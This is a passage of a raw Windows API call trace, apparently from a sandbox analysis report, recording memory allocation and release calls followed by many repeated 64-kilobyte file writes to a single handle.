AllocationBase=0x7eed0000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.093] VirtualFree (lpAddress=0x7eed0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0037.097] VirtualQuery (in: lpAddress=0x7ede0000, lpBuffer=0x304f258, dwLength=0x1c | out: lpBuffer=0x304f258*(BaseAddress=0x7ede0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x100000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0037.097] VirtualAlloc (lpAddress=0x7ede0000, dwSize=0x50000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ede0000 [0037.098] VirtualAlloc (lpAddress=0x7ede0000, dwSize=0x50000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ede0000 [0037.103] VirtualQuery (in: lpAddress=0x7ee30000, lpBuffer=0x304f258, dwLength=0x1c | out: lpBuffer=0x304f258*(BaseAddress=0x7ee30000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0037.103] VirtualAlloc (lpAddress=0x7ee30000, dwSize=0x70000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ee30000 [0037.103] VirtualAlloc (lpAddress=0x7ee30000, dwSize=0x70000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ee30000 [0037.109] VirtualQuery (in: lpAddress=0x7eea0000, lpBuffer=0x304f258, dwLength=0x1c | out: lpBuffer=0x304f258*(BaseAddress=0x7eea0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0037.109] VirtualAlloc (lpAddress=0x7eea0000, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x7eea0000 [0037.109] VirtualAlloc (lpAddress=0x7eea0000, dwSize=0x40000, flAllocationType=0x1000, flProtect=0x4) returned 0x7eea0000 [0037.316] VirtualQuery (in: lpAddress=0x7eee0000, lpBuffer=0x304f258, dwLength=0x1c | out: lpBuffer=0x304f258*(BaseAddress=0x7eee0000, AllocationBase=0x7eee0000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.316] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7dfb0000 [0037.339] VirtualQuery (in: lpAddress=0x7eca0000, lpBuffer=0x304f224, dwLength=0x1c | out: lpBuffer=0x304f224*(BaseAddress=0x7eca0000, AllocationBase=0x7eca0000, AllocationProtect=0x4, RegionSize=0x140000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.339] VirtualFree (lpAddress=0x7eca0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0037.344] VirtualQuery (in: lpAddress=0x7ede0000, lpBuffer=0x304f224, dwLength=0x1c | out: lpBuffer=0x304f224*(BaseAddress=0x7ede0000, AllocationBase=0x7ede0000, AllocationProtect=0x4, RegionSize=0x50000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.344] VirtualFree (lpAddress=0x7ede0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0037.346] VirtualQuery (in: lpAddress=0x7ee30000, lpBuffer=0x304f224, dwLength=0x1c | out: lpBuffer=0x304f224*(BaseAddress=0x7ee30000, AllocationBase=0x7ee30000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.346] VirtualFree (lpAddress=0x7ee30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0037.602] VirtualQuery (in: lpAddress=0x7eea0000, lpBuffer=0x304f224, dwLength=0x1c | out: lpBuffer=0x304f224*(BaseAddress=0x7eea0000, AllocationBase=0x7eea0000, AllocationProtect=0x4, RegionSize=0x40000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.602] VirtualFree (lpAddress=0x7eea0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0037.639] VirtualQuery (in: lpAddress=0x7e280000, lpBuffer=0x304f258, dwLength=0x1c | out: lpBuffer=0x304f258*(BaseAddress=0x7e280000, AllocationBase=0x7e280000, AllocationProtect=0x4, RegionSize=0x6e0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.639] VirtualAlloc (lpAddress=0x0, dwSize=0x390000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eb50000 [0038.217] VirtualQuery (in: lpAddress=0x7eee0000, lpBuffer=0x304f258, dwLength=0x1c | out: lpBuffer=0x304f258*(BaseAddress=0x7eee0000, AllocationBase=0x7eee0000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.217] VirtualAlloc (lpAddress=0x0, dwSize=0x480000, flAllocationType=0x101000, flProtect=0x4) returned 0x7de00000 [0038.541] VirtualQuery (in: lpAddress=0x7e280000, lpBuffer=0x304f258, dwLength=0x1c | out: lpBuffer=0x304f258*(BaseAddress=0x7e280000, AllocationBase=0x7e280000, AllocationProtect=0x4, RegionSize=0x6e0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.541] VirtualAlloc (lpAddress=0x0, dwSize=0x5a0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7d860000 [0039.623] VirtualQuery (in: lpAddress=0x7e280000, lpBuffer=0x304f2b0, dwLength=0x1c | out: lpBuffer=0x304f2b0*(BaseAddress=0x7e280000, AllocationBase=0x7e280000, AllocationProtect=0x4, RegionSize=0x6e0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0039.624] VirtualFree (lpAddress=0x7e280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0040.078] VirtualQuery (in: lpAddress=0x7e960000, lpBuffer=0x304f2b0, dwLength=0x1c | out: lpBuffer=0x304f2b0*(BaseAddress=0x7e960000, AllocationBase=0x7e960000, AllocationProtect=0x4, RegionSize=0x1c0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0040.078] VirtualFree (lpAddress=0x7e960000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0040.417] WriteFile (in: hFile=0x170, lpBuffer=0x27192a8*, nNumberOfBytesToWrite=0x4588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27192a8*, lpNumberOfBytesWritten=0x304f28c*=0x4588, lpOverlapped=0x0) returned 1 [0040.418] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0040.418] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.419] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.419] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.419] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.420] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.421] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.421] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.421] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.422] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.422] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.423] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.423] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.423] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.424] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.425] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.425] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.425] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.425] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.440] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.440] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.441] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.441] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.459] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.459] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.459] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.459] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.460] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.463] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.463] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.464] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.465] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.465] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.465] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.465] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.466] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.475] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.475] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.476] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.476] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.477] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.477] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.477] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.478] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.479] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.479] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.821] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.821] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.822] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.823] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.823] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.823] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.824] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.832] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.832] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.833] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.833] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.834] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.834] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.834] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.835] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.835] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.836] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.836] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.836] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.837] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.837] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.838] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.839] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.839] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.847] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.848] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.848] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.848] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.849] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.850] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 